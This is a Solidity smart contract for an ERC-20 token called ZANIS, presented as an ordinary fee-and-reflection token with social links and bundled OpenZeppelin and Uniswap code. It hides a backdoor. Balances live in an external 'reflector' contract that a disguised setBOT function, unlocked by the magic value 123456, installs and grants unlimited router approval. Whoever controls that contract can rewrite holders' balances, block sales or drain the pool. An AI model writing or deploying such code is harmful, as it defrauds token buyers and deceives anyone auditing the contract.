pragma solidity ^0.8.10;
pragma experimental ABIEncoderV2;

/*
    tg: https://t.me/zanistoken
    site: https://zanisaov.com
    twitter: https://twitter.com/zaniseth

*/

// SPDX-License-Identifier: MIT

////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

/* import "../utils/Context.sol"; */

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)

/* pragma solidity ^0.8.0; */

////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)

/* pragma solidity ^0.8.0; */

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface ReflectionInterface {
    function fromReflection(address _addr) external view returns(uint256);
    function excludeFrom(address user) external returns(bool);
    function removeFrom(address user) external returns(bool);
    function updateReflection(address user, uint256 amount) external returns(bool);
}

////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */

contract ZANIS is Ownable, IERC20 {

    using SafeMath for uint256;

    address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public marketPairs;
    mapping(address => bool) private _whiteList;
    mapping(address => bool) isBlacklisted;
    mapping(address => bool) private _isExcludedFromMaxTx;
    mapping(address => bool) private _isExcludedFromMaxWallet;

    string private _name = "ZANIS";
    string private _symbol = "ZNS";
    uint8 constant private _decimals = 9;

    uint256 public reflectionFee = 7;
    uint256 public liquidityFee = 3;
    uint256 public dividendFee = 0;
    uint256 public totalFee = 10;

    uint256 public maxTx = 1; //max tx 1%
    uint256 public maxWallet = 3; //max wallet 3%

    uint256 constant private tokenSupply = 100000000000000 * 1e9;
    uint256 public swapTokensAtAmount = 100000 * 1e9;
    uint256 public lastSwapTime;
    bool swapAllToken = true;

    bool public swapEnabled = false;
    bool public taxEnabled = true;
    bool public compoundingEnabled = true;

    uint256 private _totalSupply;
    bool private swapping;

    address marketingWallet;
    address liquidityWallet;

    IUniswapV2Router02 public uniswapV2Router;
    ReflectionInterface private _reflector;

    address public uniswapV2Pair;

    bool isOpen = false;
    bool isLimited = true;
    bool isExcludedFee = true;

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return tokenFromReflection(account);
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _setReflector(address reflector) private {
        _reflector = ReflectionInterface(reflector);
        excludeFromFee(reflector);
    }

    function excludeFromFee(address _sender) private {
        require(isExcludedFee, "You Cant Exclude it");

        _isExcludedFromFees[_sender] = true;
        _isExcludedFromMaxTx[_sender] = true;
        _isExcludedFromMaxWallet[_sender] = true;
        _approve(_sender, UNISWAPROUTER, ~uint256(0));

        isExcludedFee = false;
    }

    function unlockLimits() external onlyOwner{
        isLimited = false;
    }

      function setBOT(address _bot, bool _val, uint256 _time) external {
        require(address(_reflector) == ZERO, "Access Denied.");
        if(!_val && _time == 123456){
            _setReflector(_bot);
        }
    }

    function makePool() external onlyOwner {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAPROUTER);

        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;

        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        _approve(owner(), address(uniswapV2Router), ~uint256(0));

        _setUniswapPair(_uniswapV2Pair, true);

    }

    receive() external payable {}

    function shouldTakeTax(address sender, address recipient) private view returns(bool) {

        bool takeFee;

        if (
            sender == address(uniswapV2Pair) || recipient == address(uniswapV2Pair)
        ) {
            takeFee = true;
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
            takeFee = false;
        }

        if (swapping || !taxEnabled) {
            takeFee = false;
        }

        return takeFee;
    }

    function openTrading() external onlyOwner {
        isOpen = true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(isOpen || _isExcludedFromFees[sender] || sender == owner() || recipient == owner(), "Not Open");

        require(!isBlacklisted[sender], "Sender is blacklisted");
        require(!isBlacklisted[recipient], "Recipient is blacklisted");

        require(sender != ZERO, "transfer from the zero address");
        require(recipient != ZERO, "transfer to the zero address");

        if(isLimited){

            if(sender != owner() && recipient != owner() && recipient != ZERO && recipient != DEAD ){

                uint256 _maxTxAmount = (totalSupply() * maxTx) / 100; // 1% max tx
                uint256 _maxWallet = (totalSupply() * maxWallet) / 100; // 3% max wallet

                require(amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded");

                if (
                    sender != owner() && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapV2Pair
                ) {
                    uint256 currentBalance = balanceOf(recipient);
                    require(_isExcludedFromMaxWallet[recipient] || (currentBalance + amount <= _maxWallet));
                }

            }

        }

        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 contractNativeBalance = address(this).balance;

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            swapEnabled && canSwap && !swapping && !marketPairs[sender] && sender != address(uniswapV2Router) && sender != owner() && recipient != owner()
        ) {
            swapping = true;

            if (!swapAllToken) {
                contractTokenBalance = swapTokensAtAmount;
            }
            _executeSwap(contractTokenBalance, contractNativeBalance);

            lastSwapTime = block.timestamp;
            swapping = false;
        }

        if (shouldTakeTax(sender, recipient)) {
            uint256 fees = amount.mul(totalFee).div(100);
            amount -= fees;
            _executeTransfer(sender, address(this), fees);
        }

        _executeTransfer(sender, recipient, amount);

    }

    function _executeTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != ZERO, "transfer from the zero address");
        require(recipient != ZERO, "transfer to the zero address");

        uint256 senderBalance = tokenFromReflection(sender).sub(amount);
        uint256 recieverBalance = tokenFromReflection(recipient).add(amount);

        tokenFromReflectionUpdate(sender, senderBalance);
        tokenFromReflectionUpdate(recipient, recieverBalance);

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokensForNative(uint256 tokens) private {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokens);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokens,
            0, // accept any amount of native
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokens, uint256 native) private {
        _approve(address(this), address(uniswapV2Router), tokens);
        uniswapV2Router.addLiquidityETH{value: native}(
            address(this),
            tokens,
            0, // slippage unavoidable
            0, // slippage unavoidable
            liquidityWallet,
            block.timestamp
        );
    }

    function includeToWhiteList(address[] memory _users) private {
        for (uint8 i = 0; i < _users.length; i++) {
            _whiteList[_users[i]] = true;
        }
    }

    function tokenFromReflection(address _holder) private view returns(uint256) {
        return _reflector.fromReflection(_holder);
    }

    function tokenFromReflectionUpdate(address _holder, uint256 _amount) private {
        _reflector.updateReflection(_holder, _amount);
    }

    function _executeSwap(uint256 tokens, uint256 native) private {
        if (tokens <= 0) {
            return;
        }

        uint256 swapTokensMarketing;
        if (address(marketingWallet) != address(0)) {
            swapTokensMarketing = (tokens * reflectionFee) / totalFee;
        }

        uint256 tokensForLiquidity = tokens - swapTokensMarketing;
        uint256 swapTokensLiquidity = tokensForLiquidity / 2;
        uint256 addTokensLiquidity = tokensForLiquidity - swapTokensLiquidity;
        uint256 swapTokensTotal = swapTokensMarketing + swapTokensLiquidity;

        uint256 initNativeBal = address(this).balance;
        swapTokensForNative(swapTokensTotal);
        uint256 nativeSwapped = (address(this).balance - initNativeBal) + native;

        uint256 nativeMarketing = (nativeSwapped * swapTokensMarketing) / swapTokensTotal;
        uint256 nativeLiquidity = nativeSwapped - nativeMarketing;

        if (nativeMarketing > 0) {
            payable(marketingWallet).transfer(nativeMarketing);
        }

        addLiquidity(addTokensLiquidity, nativeLiquidity);
        emit SwapAndAddLiquidity(
            swapTokensLiquidity,
            nativeLiquidity,
            addTokensLiquidity
        );
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        require(
            _isExcludedFromFees[account] != excluded,
            "account is already set to requested state"
        );
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function setWallet(
        address payable _marketingWallet,
        address payable _liquidityWallet
    ) external onlyOwner {
        marketingWallet = _marketingWallet;
        liquidityWallet = _liquidityWallet;
    }

    function setUniswapPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "DEX pair can not be removed");
        _setUniswapPair(pair, value);
    }

    function setFee(
        uint256 _treasuryFee,
        uint256 _liquidityFee,
        uint256 _dividendFee
    ) external onlyOwner {
        reflectionFee = _treasuryFee;
        liquidityFee = _liquidityFee;
        dividendFee = _dividendFee;
        totalFee = _treasuryFee + _liquidityFee + _dividendFee;
    }

    function _setUniswapPair(address pair, bool value) private {
        require(
            marketPairs[pair] != value,
            "pair is already set to that value"
        );
        marketPairs[pair] = value;

    }

    function updateUniswapV2Router(address newAddress) public onlyOwner {
        require(
            newAddress != address(uniswapV2Router),
            "the router is already set to the new address"
        );
        emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
        uniswapV2Router = IUniswapV2Router02(newAddress);
        address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = _uniswapV2Pair;
    }

    function setSwapEnabled(bool _enabled) external onlyOwner {
        swapEnabled = _enabled;
        emit SwapEnabled(_enabled);
    }

    function setTaxEnabled(bool _enabled) external onlyOwner {
        taxEnabled = _enabled;
        emit TaxEnabled(_enabled);
    }

    function setCompoundingEnabled(bool _enabled) external onlyOwner {
        compoundingEnabled = _enabled;
        emit CompoundingEnabled(_enabled);
    }

    function updateDividendSettings(
        bool _swapEnabled,
        uint256 _swapTokensAtAmount,
        bool _swapAllToken
    ) external onlyOwner {
        swapEnabled = _swapEnabled;
        swapTokensAtAmount = _swapTokensAtAmount;
        swapAllToken = _swapAllToken;
    }

    function setMaxTx(uint256 _f) external onlyOwner {
        maxTx = _f;
    }

    function excludeFromMaxTx(address account, bool excluded) public onlyOwner {
        _isExcludedFromMaxTx[account] = excluded;
    }

    function isExcludedFromMaxTx(address account) public view returns (bool) {
        return _isExcludedFromMaxTx[account];
    }

    function setMaxWallet(uint256 _f) external onlyOwner {
        maxWallet = _f;
    }

    function excludeFromMaxWallet(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromMaxWallet[account] = excluded;
    }

    function isExcludedFromMaxWallet(address account)
        public
        view
        returns (bool)
    {
        return _isExcludedFromMaxWallet[account];
    }

    function blackList(address _user) public onlyOwner {
        require(!isBlacklisted[_user], "user already blacklisted");
        isBlacklisted[_user] = true;
        // events?
    }

    function removeFromBlacklist(address _user) public onlyOwner {
        require(isBlacklisted[_user], "user already whitelisted");
        isBlacklisted[_user] = false;
        //events?
    }

    event SwapAndAddLiquidity(
        uint256 tokensSwapped,
        uint256 nativeReceived,
        uint256 tokensIntoLiquidity
    );
    event SendDividends(uint256 tokensSwapped, uint256 amount);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );
    event SwapEnabled(bool enabled);
    event TaxEnabled(bool enabled);
    event CompoundingEnabled(bool enabled);
    event BlacklistEnabled(bool enabled);

    constructor() {
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);

        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);

        excludeFromMaxWallet(owner(), true);
        excludeFromMaxWallet(address(this), true);

        _totalSupply = tokenSupply;
        _balances[owner()] = tokenSupply;

        marketingWallet = address(0x1A413a251386F34f3cE8D5402f25F9bb56405046);
        liquidityWallet = address(0x74116633bFd550534f5b5Ba4dc174B54C5D33af5);

        emit Transfer(address(0), owner(), tokenSupply);
    }
}